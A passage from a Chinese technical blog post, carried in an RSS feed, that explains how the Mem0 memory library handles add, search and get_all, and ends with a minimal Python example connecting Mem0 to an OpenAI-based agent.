&lt;p&gt;拿到这句新事实后，Mem0 会调用 Embedding 模型把它转成向量，然后去底层向量库（&lt;code&gt;vector_store&lt;/code&gt;）里发起一次检索：&lt;strong&gt;“针对当前用户（&lt;code&gt;user_id&lt;/code&gt;），之前有没有存过跟咖啡相关的历史记录？”&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;第三步：LLM 仲裁决策 (Action Decision)&lt;/h4&gt;
&lt;p&gt;这一步是整个框架最性感的代码。
Mem0 把第二步搜到的**“旧记忆”&lt;strong&gt;和第一步提取出的&lt;/strong&gt;“新事实”**一起打包，扔给 LLM 充当“仲裁法官”，问它：“请对比新旧信息，告诉我接下来该怎么办？”&lt;/p&gt;
&lt;p&gt;LLM 思考后，会返回一个带有 &lt;code&gt;event_type&lt;/code&gt; 标签的 JSON。它只有四个选项：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ADD&lt;/code&gt;：这是一条全新的信息，之前没提过，添加。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UPDATE&lt;/code&gt;：信息发生冲突了（比如以前存的是全糖，现在改无糖了），更新。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DELETE&lt;/code&gt;：信息失效或用户要求遗忘，删除。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NONE&lt;/code&gt;：这条信息之前早就存过了，完全重复，忽略。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;第四步：落地执行 (Execution)&lt;/h4&gt;
&lt;p&gt;拿到判决书后，代码进入一个大循环（&lt;code&gt;for memory in parsed_messages:&lt;/code&gt;）。根据 &lt;code&gt;event_type&lt;/code&gt; 的不同，分别调用内部私有方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_create_memory&lt;/code&gt; -&amp;gt; 算向量，存入向量库。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_update_memory&lt;/code&gt; -&amp;gt; 覆盖旧向量的 Payload。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_delete_memory&lt;/code&gt; -&amp;gt; 从数据库抹除。
无论执行哪一步，Mem0 都会同时调用 &lt;code&gt;self.db.add_history&lt;/code&gt;，往本地的 SQLite 数据库里&lt;strong&gt;记下一笔不可篡改的历史流水账&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过这四步，Mem0 完美解决了 RAG 系统中长期存在的**“记忆冗余”&lt;strong&gt;和&lt;/strong&gt;“记忆矛盾”**问题。&lt;/p&gt;
&lt;h2&gt;2. &lt;code&gt;search()&lt;/code&gt;：并发与重排工程&lt;/h2&gt;
&lt;p&gt;相比于 &lt;code&gt;add()&lt;/code&gt; 复杂的智能决策，&lt;code&gt;search()&lt;/code&gt; 的逻辑更加直接，但也做了极其深厚的工程优化。&lt;/p&gt;
&lt;p&gt;当你调用 &lt;code&gt;mem.search(&quot;用户喜欢喝什么&quot;)&lt;/code&gt; 时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;向量化&lt;/strong&gt;：先把问题转成 Embedding 向量。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;并发检索（Concurrency）&lt;/strong&gt;：如果我们的配置里同时开启了图数据库（Graph）和向量数据库（Vector），Mem0 不会傻傻地串行等待。它利用 &lt;code&gt;ThreadPoolExecutor&lt;/code&gt; 开启了多线程并发查询，极大降低了检索的延迟（Latency）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with concurrent.futures.ThreadPoolExecutor() as executor:
    future_memories = executor.submit(...)
    future_graph_entities = executor.submit(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;混合与重排 (Rerank)&lt;/strong&gt;：当两路检索把初步的相似记录带回来后，Mem0 并不是简单地拼接。如果配置里挂载了 &lt;code&gt;Reranker&lt;/code&gt;（比如 Cohere），它会让重排模型基于问题对这些候选记忆进行二次交叉打分，确保最精准、最相关的记忆永远排在第一位。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. &lt;code&gt;get_all()&lt;/code&gt;：精准的元数据过滤&lt;/h2&gt;
&lt;p&gt;这里需要特别对比一下 &lt;code&gt;get_all()&lt;/code&gt; 和 &lt;code&gt;search()&lt;/code&gt; 的本质区别。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;search()&lt;/code&gt; 是基于语义的（Embedding + ANN）&lt;/strong&gt;：我们输入“咖啡”，它能搜出“卡布奇诺”或者“星巴克”，因为它懂语义。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;get_all()&lt;/code&gt; 则是纯粹的数据库精确匹配（Metadata Filtering）&lt;/strong&gt;：它&lt;strong&gt;完全不涉及&lt;/strong&gt;大模型和嵌入模型。它只是单纯地去向量库里下发一条 SQL 式的指令：“把 &lt;code&gt;user_id=&quot;xxx&quot;&lt;/code&gt; 并且 &lt;code&gt;created_at &amp;gt; 昨天&lt;/code&gt; 的记录给我原封不动拿出来。”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果我们想把某个用户的历史记忆当成背景资料全部塞给大模型，用 &lt;code&gt;get_all&lt;/code&gt; 速度最快、消耗 Token 最少；如果你想让大模型精准回答某个具体问题，用 &lt;code&gt;search&lt;/code&gt; 才最准。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;到这里，Mem0 的源码解析就全部结束了。&lt;/p&gt;
&lt;p&gt;如果用一句话来概括 Mem0 的核心思想，那就是：
&lt;strong&gt;“Mem0 不是把整段对话直接塞进向量库，而是先用 LLM 从对话里抽取‘值得长期记住的事实’，再和已有记忆比对，决定新增、更新还是删除，最后把结果持久化。”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它巧妙地把“如何存数据”这个工程问题交给了底层百搭的工厂（&lt;code&gt;factory.py&lt;/code&gt;），把“如何清洗数据”交给了正则防腐层（&lt;code&gt;utils.py&lt;/code&gt;），而自己则端坐在 &lt;code&gt;main.py&lt;/code&gt; 的调度室里，指挥着 LLM 扮演好“记忆仲裁官”的角色。&lt;/p&gt;
&lt;p&gt;这种**“Harness 挂载 + 智能代理流”**的设计，极大地降低了开发者在业务层实现“长文本记忆管理”的门槛。如果想自己动手撸一个带有“自我进化能力”的 RAG 系统，Mem0 绝对是完美的参考教材！&lt;/p&gt;
&lt;p&gt;附一个mem0接入agent的最小使用示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import os

from dotenv import load_dotenv
from openai import OpenAI
from pathlib import Path

from mem0 import Memory
from mem0.configs.base import MemoryConfig
from sentence_transformers import SentenceTransformer

def build_memory() -&amp;gt; Memory:
    llm_model = os.getenv(&quot;LLM_MODEL&quot;)
    embedding_path = os.getenv(&quot;EMBEDDING_PATH&quot;)
    openai_api_key = os.getenv(&quot;OPENAI_API_KEY&quot;)
    openai_base_url = os.getenv(&quot;OPENAI_BASE_URL&quot;)

    if not openai_api_key:
        raise RuntimeError(&quot;Missing OPENAI_API_KEY. Add it to .env before running mem0_demo.py&quot;)
    if not llm_model:
        raise RuntimeError(&quot;Missing LLM_MODEL. Add it to .env before running mem0_demo.py&quot;)
    if not embedding_path:
        raise RuntimeError(&quot;Missing EMBEDDING_PATH. Add it to .env before running mem0_demo.py&quot;)

    model_path = Path(embedding_path)
    if not model_path.exists():
        raise RuntimeError(f&quot;EMBEDDING_PATH does not exist: {model_path}&quot;)

    embedding_model = SentenceTransformer(str(model_path))
    embedding_dims = embedding_model.get_embedding_dimension()

    config = MemoryConfig(
        llm={
            &quot;provider&quot;: &quot;openai&quot;,
            &quot;config&quot;: {
                &quot;model&quot;: llm_model,
                &quot;api_key&quot;: openai_api_key,
                &quot;openai_base_url&quot;: openai_base_url,
            },
        },
        embedder={
            &quot;provider&quot;: &quot;huggingface&quot;,
            &quot;config&quot;: {
                &quot;model&quot;: str(model_path),
                &quot;embedding_dims&quot;: embedding_dims,
            },
        },
        vector_store={
            &quot;provider&quot;: &quot;qdrant&quot;,
            &quot;config&quot;: {
                &quot;collection_name&quot;: &quot;mem0&quot;,
                &quot;path&quot;: &quot;.mem0/qdrant&quot;,
                &quot;embedding_model_dims&quot;: embedding_dims,
            },
        },
    )
    return Memory(config=config)


USER_ID = &quot;whyulooksad&quot;
SYSTEM_PROMPT = &quot;你是一个带长期记忆的 AI 助手。回答时优先参考历史记忆，回答要简洁准确。&quot;


def close_memory(memory) -&amp;gt; None:
    memory.close()

    vector_store = getattr(memory, &quot;vector_store&quot;, None)
    if vector_store and getattr(vector_store, &quot;client&quot;, None):
        vector_store.client.close()

    telemetry_store = getattr(memory, &quot;_telemetry_vector_store&quot;, None)
    if telemetry_store and getattr(telemetry_store, &quot;client&quot;, None):
        telemetry_store.client.close()


def build_llm_client() -&amp;gt; tuple[OpenAI, str]:
    api_key = os.getenv(&quot;OPENAI_API_KEY&quot;)
    base_url = os.getenv(&quot;OPENAI_BASE_URL&quot;)
    model = os.getenv(&quot;LLM_MODEL&quot;)

    if not api_key:
        raise RuntimeError(&quot;Missing OPENAI_API_KEY in .env&quot;)
    if not base_url:
        raise RuntimeError(&quot;Missing OPENAI_BASE_URL in .env&quot;)
    if not model:
        raise RuntimeError(&quot;Missing LLM_MODEL in .env&quot;)

    return OpenAI(api_key=api_key, base_url=base_url), model


def format_memories(search_result: dict) -&amp;gt; str:
    items = search_result.get(&quot;results&quot;, [])
    if not items:
        return &quot;暂无历史记忆&quot;
    return &quot;\n&quot;.join(f&quot;- {item[&apos;memory&apos;]}&quot; for item in items)


def ask_agent(client: OpenAI, model: str, memory, user_input: str) -&amp;gt; None:
    memories = memory.search(user_input, user_id=USER_ID, limit=5)
    memory_text = format_memories(memories)

    messages = [
        {&quot;role&quot;: &quot;system&quot;, &quot;content&quot;: SYSTEM_PROMPT},
        {
            &quot;role&quot;: &quot;user&quot;,
            &quot;content&quot;: f&quot;历史记忆：\n{memory_text}\n\n用户问题：{user_input}&quot;,
        },
    ]

    print(&quot;=== 检索到的记忆 ===&quot;)
    print(json.dumps(memories, ensure_ascii=False, indent=2))

    print(&quot;\n=== 注入 Prompt ===&quot;)
    print(messages[1][&quot;content&quot;])

    response = client.chat.completions.create(
        model=model,
        messages=messages,
        temperature=0.2,
    )
    answer = response.choices[0].message.content or &quot;&quot;

    print(&quot;\n=== Agent 回复 ===&quot;)
    print(answer)

    add_result = memory.add(
        [
            {&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: user_input},
            {&quot;role&quot;: &quot;assistant&quot;, &quot;content&quot;: answer},
        ],
        user_id=USER_ID,
        metadata={&quot;source&quot;: &quot;agent-chat&quot;, &quot;topic&quot;: &quot;agent-memory-demo&quot;},
    )
    print(&quot;\n=== 写回记忆 ===&quot;)
    print(json.dumps(add_result, ensure_ascii=False, indent=2))


def main() -&amp;gt; None:
    load_dotenv()
    memory = build_memory()
    client, model = build_llm_client()
    try:
        ask_agent(client, model, memory, &quot;结合你的历史记忆，概括一下我平时研究的技术方向。&quot;)
    finally:
        close_memory(memory)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心api:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 添加记忆
mem.add(&quot;内容&quot;, user_id=&quot;xxx&quot;)

# 2. 语义搜索
mem.search(&quot;问题&quot;, user_id=&quot;xxx&quot;)

# 3. 获取该用户所有记忆
mem.get_all(user_id=&quot;xxx&quot;)

# 4. 手动更新记忆
mem.update(memory_id=&quot;xxx&quot;, data=&quot;新内容&quot;)

# 5. 手动删除记忆
mem.delete(memory_id=&quot;xxx&quot;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>